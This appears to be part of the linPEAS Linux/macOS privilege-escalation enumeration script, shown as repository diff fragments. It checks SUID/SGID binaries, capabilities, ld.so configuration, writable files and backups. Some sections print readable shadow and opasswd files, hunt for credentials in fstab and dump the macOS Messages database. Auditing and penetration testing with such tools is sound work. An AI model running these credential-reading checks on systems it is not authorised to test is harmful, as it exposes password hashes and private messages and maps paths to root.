$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
fi
fi
done
fi
if [ "$LDD" ] || [ "$READELF" ]; then
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
fi
if [ "$LDD" ]; then
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
fi
if [ "$READELF" ]; then
"$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
fi
if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
printf $ITALIC
echo "----------------------------------------------------------------------------------------"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
export LD_LIBRARY_PATH=""
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf $NC
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
echo "----------------------------------------------------------------------------------------"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IPF) SGID
print_2title "SGID"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $sgids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total";then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ]; then
if [ "$STRINGS" ]; then
$STRINGS "$sname" | sort | uniq | while read sline; do
sline_first="$(echo $sline | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
fi
fi
fi
done
fi
if [ "$LDD" ] || [ "$READELF" ]; then
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
fi
if [ "$LDD" ]; then
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
fi
if [ "$READELF" ]; then
"$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
fi
if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
printf "$ITALIC"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf "$NC"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IPF) Misconfigured ld.so
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
print_2title "Checking misconfigurations of ld.so"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so"
if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then
echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},";
printf $RED$ITALIC"/etc/ld.so.conf\n"$NC;
else
printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC;
fi
echo "Content of /etc/ld.so.conf:"
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
# Check each configured folder
cat /etc/ld.so.conf 2>/dev/null | while read l; do
if echo "$l" | grep -q include; then
ini_path=$(echo "$l" | cut -d " " -f 2)
fpath=$(dirname "$ini_path")
if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then
echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},";
printf $RED_YELLOW$ITALIC"$fpath\n"$NC;
else
printf $GREEN$ITALIC"$fpath\n"$NC;
fi
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then
echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
for f in $fpath/*; do
if [ -w "$f" ]; then
echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},";
printf $RED_YELLOW$ITALIC"$f\n"$NC;
else
printf $GREEN$ITALIC" $f\n"$NC;
fi
cat "$f" | grep -v "^#" | while read l2; do
if [ -f "$l2" ] && [ -w "$l2" ]; then
echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},";
printf $RED_YELLOW$ITALIC" - $l2\n"$NC;
else
echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g";
fi
done
done
fi
done
echo ""
if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then
echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},";
else
printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC;
fi
cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat /etc/ld.so.preload 2>/dev/null | while read l; do
if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
done
fi
##-- IPF) Capabilities
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
if [ "$(command -v capsh)" ]; then
print_3title "Current shell capabilities"
cat "/proc/$$/status" | grep Cap | while read -r cap_line; do
cap_name=$(echo "$cap_line" | awk '{print $1}')
cap_value=$(echo "$cap_line" | awk '{print $2}')
if [ "$cap_name" = "CapEff:" ]; then
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
else
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
fi
done
echo ""
print_3title "Parent process capabilities"
cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do
cap_name=$(echo "$cap_line" | awk '{print $1}')
cap_value=$(echo "$cap_line" | awk '{print $2}')
if [ "$cap_name" = "CapEff:" ]; then
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
else
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
fi
done
echo ""
else
print_3title "Current shell capabilities"
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
echo ""
print_3title "Parent proc capabilities"
(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
echo ""
fi
echo ""
echo "Files with capabilities (limited to 50):"
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
capsVB_vuln=""
for capVB in $capsVB; do
capname="$(echo $capVB | cut -d ':' -f 1)"
capbins="$(echo $capVB | cut -d ':' -f 2)"
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
capsVB_vuln="1"
break
fi
done
if ! [ "$capsVB_vuln" ]; then
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
fi
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
fi
done
echo ""
fi
##-- IPF) Users with capabilities
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
print_2title "Users with capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
if [ -f "/etc/security/capability.conf" ]; then
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else echo_not_found "/etc/security/capability.conf"
fi
echo ""
fi
##-- IPF) AppArmor profiles to prevent suid/capabilities abuse
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
print_2title "AppArmor binary profiles"
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
echo ""
fi
fi
##-- IPF) Files with ACLs
print_2title "Files with ACLs (limited to 50)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
if ! [ "$SEARCH_IN_FOLDER" ]; then
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
echo ""
##-- IPF) Files with ResourceFork
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
# print_2title "Files with ResourceFork"
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
#fi
#echo ""
##-- IPF) Files (scripts) in /etc/profile.d/
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Files (scripts) in /etc/profile.d/"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
check_critial_root_path "/etc/profile"
check_critial_root_path "/etc/profile.d/"
fi
echo ""
fi
##-- IPF) Files (scripts) in /etc/init.d/
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Permissions in init, init.d, systemd, and rc.d"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
check_critial_root_path "/etc/init/"
check_critial_root_path "/etc/init.d/"
check_critial_root_path "/etc/rc.d/init.d"
check_critial_root_path "/usr/local/etc/rc.d"
check_critial_root_path "/etc/rc.d"
check_critial_root_path "/etc/systemd/"
check_critial_root_path "/lib/systemd/"
fi
echo ""
fi
##-- IPF) Hashes in passwd file
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_list "Hashes inside passwd file? ........... "
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IPF) Writable in passwd file
print_list "Writable passwd file? ................ "
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IPF) Credentials in fstab
print_list "Credentials in fstab/mtab? ........... "
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IPF) Read shadow files
print_list "Can I read shadow files? ............. "
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
print_list "Can I read shadow plists? ............ "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
print_list "Can I write shadow plists? ........... "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
##-- IPF) Read opasswd file
print_list "Can I read opasswd file? ............. "
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
else echo_no
fi
##-- IPF) network-scripts
print_list "Can I write in network-scripts? ...... "
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IPF) Read root dir
print_list "Can I read root folder? .............. "
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
echo ""
fi
##-- IPF) Root files in home dirs
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching root files in home dirs (limit 30)"
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
echo ""
fi
##-- IPF) Others files in my dirs
if ! [ "$IAMROOT" ]; then
print_2title "Searching folders owned by me containing others files on it (limit 100)"
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
echo ""
fi
##-- IPF) Readable files belonging to root and not world readable
if ! [ "$IAMROOT" ]; then
print_2title "Readable files belonging to root and readable by me but not world readable"
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
echo ""
fi
##-- IPF) Interesting writable files by ownership or all
if ! [ "$IAMROOT" ]; then
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
printf "%s\n" "$obmowbe" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -qE "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
echo ""
fi
##-- IPF) Interesting writable files by group
if ! [ "$IAMROOT" ]; then
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
for g in $(groups); do
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
printf " Group $GREEN$g:\n$NC";
printf "%s\n" "$iwfbg" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -Eq "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
fi
done
echo ""
fi

View File

@@ -1,6 +0,0 @@
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
peass{REGEXES}
else
echo "Regexes to search for API keys aren't activated, use param '-r' "
fi

View File

@@ -0,0 +1,315 @@
###########################################
#----------) Interesting files (----------#
###########################################
##-- IF) .sh files in PATH
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title ".sh files in path"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
echo $PATH | tr ":" "\n" | while read d; do
for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
fi
done
done
echo ""
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
if [ "$broken_links" ] || [ "$DEBUG" ]; then
print_2title "Broken links in path"
echo $PATH | tr ":" "\n" | while read d; do
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
done
echo ""
fi
fi
##-- IF) Date times inside firmware
if [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Files datetimes inside the firmware (limit 50)"
find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
echo ""
fi
##-- IF) Executable files added by user
print_2title "Executable files potentially added by user (limit 70)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
else
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
fi
echo ""
if [ "$MACPEAS" ]; then
print_2title "Unsigned Applications"
macosNotSigned /System/Applications
fi
##-- IF) Unexpected in /opt
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$(ls /opt 2>/dev/null)" ]; then
print_2title "Unexpected in /opt (usually empty)"
ls -la /opt
echo ""
fi
fi
##-- IF) Unexpected folders in /
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Unexpected in root"
if [ "$MACPEAS" ]; then
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
else
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
fi
echo ""
fi
##-- IF) Modified interesting files into specific folders in the last 5mins
print_2title "Modified interesting files in the last 5mins (limit 100)"
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
echo ""
##-- IF) Writable log files
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below
print_2title "Writable log files (logrotten) (limit 50)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
logrotate --version 2>/dev/null || echo_not_found "logrotate"
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
printf "%s\n" "$logfind" | while read log; do
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
fi
fi
done
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
##-- IF) Files inside my home
print_2title "Files inside $HOME (limit 20)"
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
echo ""
##-- IF) Files inside /home
print_2title "Files inside others home (limit 20)"
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
echo ""
##-- IF) Mail applications
print_2title "Searching installed mail applications"
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
echo ""
##-- IF) Mails
print_2title "Mails (limit 50)"
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
echo ""
##-- IF) Backup folders
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
print_2title "Backup folders"
printf "%s\n" "$backup_folders" | while read b ; do
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
ls -l "$b" 2>/dev/null && echo ""
done
echo ""
fi
fi
##-- IF) Backup files
print_2title "Backup files (limited 100)"
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
printf "%s\n" "$backs" | head -n 100 | while read b ; do
if [ -r "$b" ]; then
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
fi;
done
echo ""
##-- IF) DB files
if [ "$MACPEAS" ]; then
print_2title "Reading messages database"
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
fi
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
FILECMD="$(command -v file 2>/dev/null)"
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if [ "$FILECMD" ]; then
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
else
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
fi
done
SQLITEPYTHON=""
echo ""
